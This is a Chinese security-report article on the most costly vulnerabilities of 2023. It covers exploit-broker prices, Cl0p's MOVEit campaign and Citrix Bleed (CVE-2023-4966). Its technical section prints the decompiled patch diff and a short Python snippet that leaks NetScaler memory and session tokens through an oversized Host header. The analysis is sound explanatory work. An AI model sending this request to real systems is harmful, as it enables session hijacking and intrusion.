「深蓝洞察」2023 年度最费钱的漏洞

22年的一篇深蓝洞察 — 年度最具含金量漏洞，披露过当年、也是彼时历史上最大的单笔漏洞奖金，为 1000 万美元。

漏洞究竟价值如何，没有比 2023 年度发生的安全事件来得更直观的了。

以下为本期深蓝洞察年度安全报告的第七篇。

2023 年 9 月 27 日，一家俄罗斯公司在 X 推特上宣布，以最高 2000 万美元的价格收购 iOS 和 Android 系统的远程代码执行漏洞 (RCE) 利用链，并承诺攻击代码的最终用户一定是非北约国家。

这个价格已经是币圈单笔最高漏洞奖金的翻倍。而且这只是收购价，卖出去的漏洞还要用在被攻击的目标上，最终使用者的购买价可能远不止 2000 万美元。

装备精良的漏洞利用代码，向来不是市场化的生产资料。在过去，只有最终的神秘使用者才能知道它的价格和价值。

即使是被攻击者，也无从知晓自己究竟是被多贵的子弹命中，通常甚至不知道被命中。

然而 2023 年上半年，一颗漏洞子弹的价值，被攻击者知道了，很多被攻击者都知道了，连普罗大众也都知道了：1 亿美金。

这个真金白银价值 1 亿美元的漏洞，就是 CVE-2023-34362，一个被勒索软件组织 Cl0p 使用的 MOVEit SQLi  0day 漏洞。

Cl0p 利用这个漏洞，在 2023 年发起对壳牌石油、普华永道、多家美国银行和大学等机构的勒索攻击，从这些受害机构里 Cl0p 一共收到 1 亿美元赎金。它最初的勒索报价是美元 7 亿。

2023 年下半年，Citrix Bleed 漏洞（CVE-2023-4966）异军突起。这大概是国人最应该了解的漏洞。

23 年的 11 月 3 日，勒索组织 Lockbit 利用该漏洞攻击了工商银行旗下位于美国的 ICBC Financial Services（工行金融服务），导致其系统服务中断。Lockbit 表示 ICBC 最终交了赎金，但没有透露金额。

ICBC 并不是 Citrix Bleed 漏洞的唯一受害者。该漏洞被披露后，大量系统中存在该漏洞的组织机构都遭受到了攻击，包括波音、DP World（迪拜港口世界公司）和 Allen&Overy 等大型企业。

这个漏洞的“价值”极有可能超越前辈。

下面我们来看看，这个最费钱的漏洞，究竟是怎样神奇的一个存在。

Diff 漏洞修复前后两个版本的nsppe，就可以从漏洞修复前后 ns_aaa_auth_send_openid_config 函数相关代码的切片看到，修复后的代码是在发送回复包之前，添加了一次额外的边界检查：

‍

uVar7 = snprintf(print_temp_rule,0x20000,               "{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);uVar4 = 0x20;if (uVar7 < 0x20000) {    authv2_json_resp = 1;    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);    ...}

在漏洞修复前，上述代码利用 snprintf 函数，将设备的主机名以及其他一些信息插入到模板中，生成一段 JSON 字符串用于 OpenID 的配置，这段 JSON 字符串会被直接作为回复包发送出去。

因此，攻击者只要构造一个 Host 字段足够长的请求包发送给 NetScaler 实例，就能在响应中得到包含了缓冲区之后内存中的值。内存中的值包含了一个 65 字节的 Session Token。

下面是漏洞利用的代码片段：

hostname = args.target

if __name__ == "__main__":    headers = {        "Host": "a"*24576    }    r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)

漏洞修复后的版本对 JSON 字符串的实际长度进行了边界校验，只有当 format 后的字符串长度小于 0x20000 时，回复才会被成功发送。

吃惊吗？如此费钱的漏洞，竟是成因和利用都如此简单的一个缓冲区溢出。大概也正是漏洞的利用复杂性低，使其更具现实危害性。

2023 年，无疑是勒索软件肆虐的一年。

勒索组织的数量快速增长，导致攻击和泄露数据同比增长了 50%。

现实世界的真实赎金，可能远高于各类报告统计的数据。这是因为已公布的受害者可能只是冰山一角：更多企业可能选择隐瞒此类事件，以避免监管处罚或声誉损失。

我们很好奇，被勒索的企业，每年在安全防御与测试中的投入，有赎金的十分之一吗？

漏洞的子弹，不会停飞。

2024年，最费钱的那颗，会命中谁？

参  考：

[1] https://twitter.com/opzero_en

[2] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967

[3] https://socradar.io/dark-web-threat-profile-clop-ransomware/

[4] https://www.cve.org/CVERecord?id=CVE-2023-4966

明日，请继续关注《深蓝洞察 | 2023 年度安全报告》第八篇。